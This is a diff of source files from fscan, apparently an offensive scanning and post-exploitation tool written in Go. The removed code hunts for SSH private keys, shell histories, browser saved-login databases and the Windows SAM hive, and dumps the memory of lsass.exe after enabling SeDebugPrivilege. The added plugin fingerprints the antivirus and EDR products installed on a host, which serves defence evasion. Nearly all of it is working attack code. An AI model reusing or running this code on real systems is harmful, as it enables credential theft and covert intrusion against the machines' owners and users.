".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
||||
}
|
||||
|
||||
// 敏感文件关键词白名单
|
||||
whitelist = []string{
|
||||
"密码", "账号", "账户", "配置", "服务器",
|
||||
"数据库", "备忘", "常用", "通讯录",
|
||||
}
|
||||
|
||||
// Linux系统关键配置文件路径
|
||||
linuxSystemPaths = []string{
|
||||
// Apache配置
|
||||
"/etc/apache/httpd.conf",
|
||||
"/etc/httpd/conf/httpd.conf",
|
||||
"/etc/httpd/httpd.conf",
|
||||
"/usr/local/apache/conf/httpd.conf",
|
||||
"/home/httpd/conf/httpd.conf",
|
||||
"/usr/local/apache2/conf/httpd.conf",
|
||||
"/usr/local/httpd/conf/httpd.conf",
|
||||
"/etc/apache2/sites-available/000-default.conf",
|
||||
"/etc/apache2/sites-enabled/*",
|
||||
"/etc/apache2/sites-available/*",
|
||||
"/etc/apache2/apache2.conf",
|
||||
|
||||
// Nginx配置
|
||||
"/etc/nginx/nginx.conf",
|
||||
"/etc/nginx/conf.d/nginx.conf",
|
||||
|
||||
// 系统配置文件
|
||||
"/etc/hosts.deny",
|
||||
"/etc/bashrc",
|
||||
"/etc/issue",
|
||||
"/etc/issue.net",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/etc/termcap",
|
||||
"/etc/xinetd.d/*",
|
||||
"/etc/mtab",
|
||||
"/etc/vsftpd/vsftpd.conf",
|
||||
"/etc/xinetd.conf",
|
||||
"/etc/protocols",
|
||||
"/etc/logrotate.conf",
|
||||
"/etc/ld.so.conf",
|
||||
"/etc/resolv.conf",
|
||||
"/etc/sysconfig/network",
|
||||
"/etc/sendmail.cf",
|
||||
"/etc/sendmail.cw",
|
||||
|
||||
// proc信息
|
||||
"/proc/mounts",
|
||||
"/proc/cpuinfo",
|
||||
"/proc/meminfo",
|
||||
"/proc/self/environ",
|
||||
"/proc/1/cmdline",
|
||||
"/proc/1/mountinfo",
|
||||
"/proc/1/fd/*",
|
||||
"/proc/1/exe",
|
||||
"/proc/config.gz",
|
||||
|
||||
// 用户配置文件
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.ssh/id_rsa.keystore",
|
||||
"/root/.ssh/id_rsa.pub",
|
||||
"/root/.ssh/known_hosts",
|
||||
"/root/.bash_history",
|
||||
"/root/.mysql_history",
|
||||
}
|
||||
|
||||
// Windows系统关键配置文件路径
|
||||
windowsSystemPaths = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
}
|
||||
)
|
||||
|
||||
// LocalInfoScan 本地信息收集主函数
|
||||
func LocalInfoScan(info *common.HostInfo) (err error) {
|
||||
common.LogBase("开始本地信息收集...")
|
||||
|
||||
// 获取用户主目录
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
|
||||
return err
|
||||
}
|
||||
|
||||
// 扫描固定位置的敏感文件
|
||||
scanFixedLocations(home)
|
||||
|
||||
// 根据规则搜索敏感文件
|
||||
searchSensitiveFiles()
|
||||
|
||||
common.LogBase("本地信息收集完成")
|
||||
return nil
|
||||
}
|
||||
|
||||
// scanFixedLocations 扫描固定位置的敏感文件
|
||||
func scanFixedLocations(home string) {
|
||||
var paths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// 添加Windows固定路径
|
||||
paths = append(paths, windowsSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
|
||||
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}...)
|
||||
|
||||
case "linux":
|
||||
// 添加Linux固定路径
|
||||
paths = append(paths, linuxSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
|
||||
filepath.Join(home, ".mozilla", "firefox"),
|
||||
}...)
|
||||
}
|
||||
|
||||
for _, path := range paths {
|
||||
// 处理通配符路径
|
||||
if strings.Contains(path, "*") {
|
||||
var _ = strings.ReplaceAll(path, "*", "")
|
||||
if files, err := filepath.Glob(path); err == nil {
|
||||
for _, file := range files {
|
||||
checkAndLogFile(file)
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
checkAndLogFile(path)
|
||||
}
|
||||
}
|
||||
|
||||
// checkAndLogFile 检查并记录敏感文件
|
||||
func checkAndLogFile(path string) {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
|
||||
}
|
||||
}
|
||||
|
||||
// searchSensitiveFiles 搜索敏感文件
|
||||
func searchSensitiveFiles() {
|
||||
var searchPaths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
"C:\\Program Files",
|
||||
"C:\\Program Files (x86)",
|
||||
}
|
||||
case "linux":
|
||||
// Linux下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"/home",
|
||||
"/opt",
|
||||
"/usr/local",
|
||||
"/var/www",
|
||||
"/var/log",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
}
|
||||
|
||||
// 在限定目录下搜索
|
||||
for _, searchPath := range searchPaths {
|
||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 跳过黑名单目录和文件
|
||||
for _, black := range blacklist {
|
||||
if strings.Contains(strings.ToLower(path), black) {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
}
|
||||
|
||||
// 检查白名单关键词
|
||||
for _, white := range whitelist {
|
||||
fileName := strings.ToLower(info.Name())
|
||||
if strings.Contains(fileName, white) {
|
||||
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
@ -1,319 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/sys/windows"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||
MAX_PATH = 260
|
||||
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
)
|
||||
|
||||
type PROCESSENTRY32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID uintptr
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [MAX_PATH]uint16
|
||||
}
|
||||
|
||||
type LUID struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
|
||||
type LUID_AND_ATTRIBUTES struct {
|
||||
Luid LUID
|
||||
Attributes uint32
|
||||
}
|
||||
|
||||
type TOKEN_PRIVILEGES struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// ProcessManager 处理进程相关操作
|
||||
type ProcessManager struct {
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// 创建新的进程管理器
|
||||
func NewProcessManager() (*ProcessManager, error) {
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
return &ProcessManager{
|
||||
kernel32: kernel32,
|
||||
dbghelp: dbghelp,
|
||||
advapi32: advapi32,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||
var pe32 PROCESSENTRY32
|
||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||
|
||||
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
||||
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
||||
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
return 0, fmt.Errorf("获取第一个进程失败")
|
||||
}
|
||||
|
||||
for {
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return pe32.th32ProcessID, nil
|
||||
}
|
||||
|
||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
||||
proc.Call(handle)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) ElevatePrivileges() error {
|
||||
handle, err := pm.getCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
var tokenPrivileges TOKEN_PRIVILEGES
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
ret, _, err := lookupPrivilegeValue.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %v", err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
ret, _, err = adjustTokenPrivileges.Call(
|
||||
uintptr(token),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(processHandle)
|
||||
|
||||
fileHandle, err := pm.createDumpFile(outputPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
||||
ret, _, err := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
0x00061907, // MiniDumpWithFullMemory
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("写入转储文件失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("打开进程失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
||||
handle, _, err := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0,
|
||||
0,
|
||||
syscall.CREATE_ALWAYS,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
||||
}
|
||||
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// 查找目标进程
|
||||
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
|
||||
snapshot, err := pm.createProcessSnapshot()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer pm.closeHandle(snapshot)
|
||||
|
||||
return pm.findProcessInSnapshot(snapshot, name)
|
||||
}
|
||||
|
||||
// 检查是否具有管理员权限
|
||||
func IsAdmin() bool {
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.FreeSid(sid)
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
func MiniDump(info *common.HostInfo) (err error) {
|
||||
// 先检查管理员权限
|
||||
if !IsAdmin() {
|
||||
common.LogError("需要管理员权限才能执行此操作")
|
||||
return fmt.Errorf("需要管理员权限才能执行此操作")
|
||||
}
|
||||
|
||||
pm, err := NewProcessManager()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
|
||||
return fmt.Errorf("初始化进程管理器失败: %v", err)
|
||||
}
|
||||
|
||||
// 查找 lsass.exe
|
||||
pid, err := pm.FindProcess("lsass.exe")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("查找进程失败: %v", err))
|
||||
return fmt.Errorf("查找进程失败: %v", err)
|
||||
}
|
||||
common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
|
||||
|
||||
// 提升权限
|
||||
if err := pm.ElevatePrivileges(); err != nil {
|
||||
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
||||
return fmt.Errorf("提升权限失败: %v", err)
|
||||
}
|
||||
common.LogSuccess("成功提升进程权限")
|
||||
|
||||
// 创建输出路径
|
||||
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
|
||||
|
||||
// 执行转储
|
||||
if err := pm.DumpProcess(pid, outputPath); err != nil {
|
||||
os.Remove(outputPath)
|
||||
common.LogError(fmt.Sprintf("进程转储失败: %v", err))
|
||||
return fmt.Errorf("进程转储失败: %v", err)
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
|
||||
return nil
|
||||
}
|
@ -1,10 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import "github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
|
||||
func MiniDump(info *common.HostInfo) (err error) {
|
||||
return nil
|
||||
}
|
2163
Plugins/local/avdetect/auto.json
Normal file
2163
Plugins/local/avdetect/auto.json
Normal file
File diff suppressed because it is too large
Load Diff
608
Plugins/local/avdetect/plugin.go
Normal file
608
Plugins/local/avdetect/plugin.go
Normal file
@ -0,0 +1,608 @@
|
||||
package avdetect
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
_ "embed"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
//go:embed auto.json
|
||||
var embeddedAVDatabase []byte
|
||||
|
||||
// AVDetectPlugin AV/EDR检测插件 - 使用简化架构
|
||||
type AVDetectPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
avDatabase map[string]AVProduct
|
||||
}
|
||||
|
||||
// AVProduct AV/EDR产品信息
|
||||
type AVProduct struct {
|
||||
Processes []string `json:"processes"`
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// ProcessInfo 进程信息
|
||||
type ProcessInfo struct {
|
||||
Name string
|
||||
PID string
|
||||
SessionName string
|
||||
SessionID string
|
||||
MemUsage string
|
||||
Services []string // 服务信息
|
||||
}
|
||||
|
||||
// DetectionResult 检测结果
|
||||
type DetectionResult struct {
|
||||
ProductName string `json:"product_name"`
|
||||
DetectedProcesses []ProcessInfo `json:"detected_processes"`
|
||||
URL string `json:"url"`
|
||||
RiskLevel string `json:"risk_level"`
|
||||
Category string `json:"category"`
|
||||
}
|
||||
|
||||
// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本
|
||||
func NewAVDetectPlugin() *AVDetectPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "avdetect",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "自动化AV/EDR检测插件,基于嵌入式规则库识别安全软件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "av", "edr", "detection", "security"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &AVDetectPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
avDatabase: make(map[string]AVProduct),
|
||||
}
|
||||
|
||||
// 设置支持的平台 (仅Windows)
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *AVDetectPlugin) Initialize() error {
|
||||
// 先调用基类初始化
|
||||
if err := p.BaseLocalPlugin.Initialize(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 加载AV数据库
|
||||
return p.loadAVDatabase()
|
||||
}
|
||||
|
||||
// getRunningProcesses 获取运行中的进程列表
|
||||
func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) {
|
||||
var processes []ProcessInfo
|
||||
var cmd *exec.Cmd
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows使用PowerShell获取进程信息以避免编码问题
|
||||
cmd = exec.Command("powershell", "-Command", "Get-Process | Select-Object Name,Id,ProcessName | ConvertTo-Csv -NoTypeInformation")
|
||||
case "linux", "darwin":
|
||||
// Unix-like系统使用ps命令
|
||||
cmd = exec.Command("ps", "aux")
|
||||
default:
|
||||
return nil, fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("执行命令失败: %v", err)
|
||||
}
|
||||
|
||||
// 解析命令输出
|
||||
processes, err = p.parseProcessOutput(string(output))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("解析进程信息失败: %v", err)
|
||||
}
|
||||
|
||||
return processes, nil
|
||||
}
|
||||
|
||||
// parseProcessOutput 解析进程命令输出
|
||||
func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) {
|
||||
var processes []ProcessInfo
|
||||
scanner := bufio.NewScanner(strings.NewReader(output))
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// 跳过CSV标题行
|
||||
if scanner.Scan() {
|
||||
// 标题行,跳过
|
||||
}
|
||||
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析PowerShell CSV格式:Name,Id,ProcessName
|
||||
fields := p.parseCSVLine(line)
|
||||
if len(fields) >= 3 {
|
||||
processName := strings.Trim(fields[0], "\"")
|
||||
// 如果进程名不包含.exe,则添加
|
||||
if !strings.HasSuffix(strings.ToLower(processName), ".exe") {
|
||||
processName += ".exe"
|
||||
}
|
||||
|
||||
process := ProcessInfo{
|
||||
Name: processName,
|
||||
PID: strings.Trim(fields[1], "\""),
|
||||
}
|
||||
|
||||
processes = append(processes, process)
|
||||
}
|
||||
}
|
||||
|
||||
case "linux", "darwin":
|
||||
// 跳过ps命令的标题行
|
||||
if scanner.Scan() {
|
||||
// 标题行,跳过
|
||||
}
|
||||
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析ps aux输出
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) >= 11 {
|
||||
process := ProcessInfo{
|
||||
Name: fields[10], // 命令名
|
||||
PID: fields[1], // PID
|
||||
MemUsage: fields[5], // 内存使用
|
||||
}
|
||||
processes = append(processes, process)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return processes, scanner.Err()
|
||||
}
|
||||
|
||||
// parseCSVLine 解析CSV行,处理引号内的逗号
|
||||
func (p *AVDetectPlugin) parseCSVLine(line string) []string {
|
||||
var fields []string
|
||||
var current strings.Builder
|
||||
inQuotes := false
|
||||
|
||||
for i, char := range line {
|
||||
switch char {
|
||||
case '"':
|
||||
inQuotes = !inQuotes
|
||||
current.WriteRune(char)
|
||||
case ',':
|
||||
if inQuotes {
|
||||
current.WriteRune(char)
|
||||
} else {
|
||||
fields = append(fields, current.String())
|
||||
current.Reset()
|
||||
}
|
||||
default:
|
||||
current.WriteRune(char)
|
||||
}
|
||||
|
||||
// 处理行尾
|
||||
if i == len(line)-1 {
|
||||
fields = append(fields, current.String())
|
||||
}
|
||||
}
|
||||
|
||||
return fields
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行AV/EDR检测扫描 - 简化版本
|
||||
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogInfo("开始AV/EDR安全软件检测...")
|
||||
|
||||
// 获取运行进程
|
||||
processes, err := p.getRunningProcesses()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("获取进程列表失败: %v", err))
|
||||
// 不返回错误,继续执行但结果可能不完整
|
||||
processes = []ProcessInfo{}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes)))
|
||||
|
||||
// 检测AV/EDR产品
|
||||
detectionResults := p.detectAVEDR(processes)
|
||||
|
||||
// 获取系统信息
|
||||
systemInfo := p.GetSystemInfo()
|
||||
|
||||
// 生成检测报告
|
||||
report := p.generateDetectionReport(detectionResults, systemInfo)
|
||||
|
||||
if len(detectionResults) == 0 {
|
||||
common.LogInfo("未检测到已知的AV/EDR安全产品")
|
||||
return &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "AVDetect",
|
||||
Banner: "未检测到已知的AV/EDR安全产品",
|
||||
Extra: map[string]interface{}{
|
||||
"detected_products": detectionResults,
|
||||
"total_processes": len(processes),
|
||||
"detection_report": report,
|
||||
"platform": runtime.GOOS,
|
||||
"database_products": len(p.avDatabase),
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 输出检测结果
|
||||
common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
|
||||
for _, result := range detectionResults {
|
||||
common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses)))
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "AVDetect",
|
||||
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
|
||||
Extra: map[string]interface{}{
|
||||
"detected_products": detectionResults,
|
||||
"total_processes": len(processes),
|
||||
"detection_report": report,
|
||||
"platform": runtime.GOOS,
|
||||
"database_products": len(p.avDatabase),
|
||||
},
|
||||
}
|
||||
|
||||
if len(detectionResults) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
|
||||
for _, detection := range detectionResults {
|
||||
common.LogSuccess(fmt.Sprintf("检测到: %s (%d个进程)", detection.ProductName, len(detection.DetectedProcesses)))
|
||||
}
|
||||
} else {
|
||||
common.LogBase("未检测到已知的AV/EDR安全产品")
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// loadAVDatabase 加载AV/EDR数据库
|
||||
func (p *AVDetectPlugin) loadAVDatabase() error {
|
||||
// 首先尝试使用嵌入的数据库
|
||||
common.LogDebug("使用嵌入的AV/EDR规则数据库")
|
||||
|
||||
err := json.Unmarshal(embeddedAVDatabase, &p.avDatabase)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解析嵌入的AV数据库失败: %v", err)
|
||||
}
|
||||
|
||||
if len(p.avDatabase) == 0 {
|
||||
return fmt.Errorf("嵌入的AV数据库为空或格式错误")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// detectAVEDR 检测AV/EDR产品
|
||||
func (p *AVDetectPlugin) detectAVEDR(processes []ProcessInfo) []DetectionResult {
|
||||
var results []DetectionResult
|
||||
processMap := make(map[string][]ProcessInfo)
|
||||
|
||||
// 构建进程名称映射,忽略大小写
|
||||
for _, process := range processes {
|
||||
processName := strings.ToLower(process.Name)
|
||||
processMap[processName] = append(processMap[processName], process)
|
||||
}
|
||||
|
||||
// 遍历AV数据库进行匹配
|
||||
for productName, avProduct := range p.avDatabase {
|
||||
var detectedProcesses []ProcessInfo
|
||||
|
||||
// 检查每个已知进程
|
||||
for _, targetProcess := range avProduct.Processes {
|
||||
targetProcessLower := strings.ToLower(targetProcess)
|
||||
|
||||
// 精确匹配
|
||||
if matchedProcesses, exists := processMap[targetProcessLower]; exists {
|
||||
detectedProcesses = append(detectedProcesses, matchedProcesses...)
|
||||
} else {
|
||||
// 模糊匹配(去除扩展名)
|
||||
targetWithoutExt := strings.TrimSuffix(targetProcessLower, filepath.Ext(targetProcessLower))
|
||||
for processName, matchedProcesses := range processMap {
|
||||
processWithoutExt := strings.TrimSuffix(processName, filepath.Ext(processName))
|
||||
if processWithoutExt == targetWithoutExt {
|
||||
detectedProcesses = append(detectedProcesses, matchedProcesses...)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 如果检测到进程,添加到结果中
|
||||
if len(detectedProcesses) > 0 {
|
||||
// 去重
|
||||
detectedProcesses = p.deduplicateProcesses(detectedProcesses)
|
||||
|
||||
result := DetectionResult{
|
||||
ProductName: productName,
|
||||
